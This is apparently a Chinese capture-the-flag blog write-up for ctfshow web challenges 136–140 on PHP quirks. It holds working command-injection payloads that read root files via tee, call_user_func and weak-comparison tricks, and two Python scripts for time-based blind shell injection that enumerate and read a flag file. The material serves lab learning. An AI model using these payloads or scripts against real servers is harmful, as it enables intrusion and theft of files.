ctfshow web入门 php特性 web136-web140

1.web136

在这里插入图片描述
还有一种写文件的命令时tee命令
payload:

: ls /|tee 1           访问1下载查看文件1发现根目录下有flag
cat /f149_15_h3r3|tee 2     访问下载查看文件2

2.web137

在这里插入图片描述
call_user_func

<?php
class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}
$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); 
?>

payload:

 ctfshow=ctfshow::getFlag

3.web138

在这里插入图片描述
过滤了:
还可以传入数组
payload:

ctfshow[0]=ctfshow&ctfshow[1]=getFlag

4.web139

在这里插入图片描述
发现tee写文件不行了,应该时权限不够
使用盲注的方式,跟sql的时间盲注差不多,这里利用的时linux的shell语法

import requests
import time
import string
str=string.ascii_letters+string.digits
result=""
for i in range(1,5):         #知道flag在第四行,实际情况中把数字写大一些
	key=0
	for j in range(1,15):     #文件名的长度大小
		if key==1:
			break
		for n in str:
			payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
			#print(payload)
			url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
			try:
				requests.get(url,timeout=(2.5,2.5))
			except:
			    result=result+n
			    print(result)
			    break
			if n=='9':
				key=1
	result+=" "
得出flag在根目录下的f149_15_h3r3中,继续盲注得出flag值
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
#key=0                      #key我感觉可以不用加
for j in range(1,45):
#	if key==1:
#		break   
	for n in str:
		payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
		#print(payload)
		url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
		try:
			requests.get(url,timeout=(2.5,2.5))
		except:
		    result=result+n
		    print(result)
		    break

awk nr从第几行开始
在这里插入图片描述
cut截取字符第几个字符
在这里插入图片描述

5.web140

在这里插入图片描述
弱类型比较,intval把非零数字转为0,而后面的ctfshow会进行类型转换,也会转换为0
payload:

f1=md5&f2=md5
f1=usleep&f2=usleep
f1=md5&f2=sleep
f1=sha1&f2=md5

php特性

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值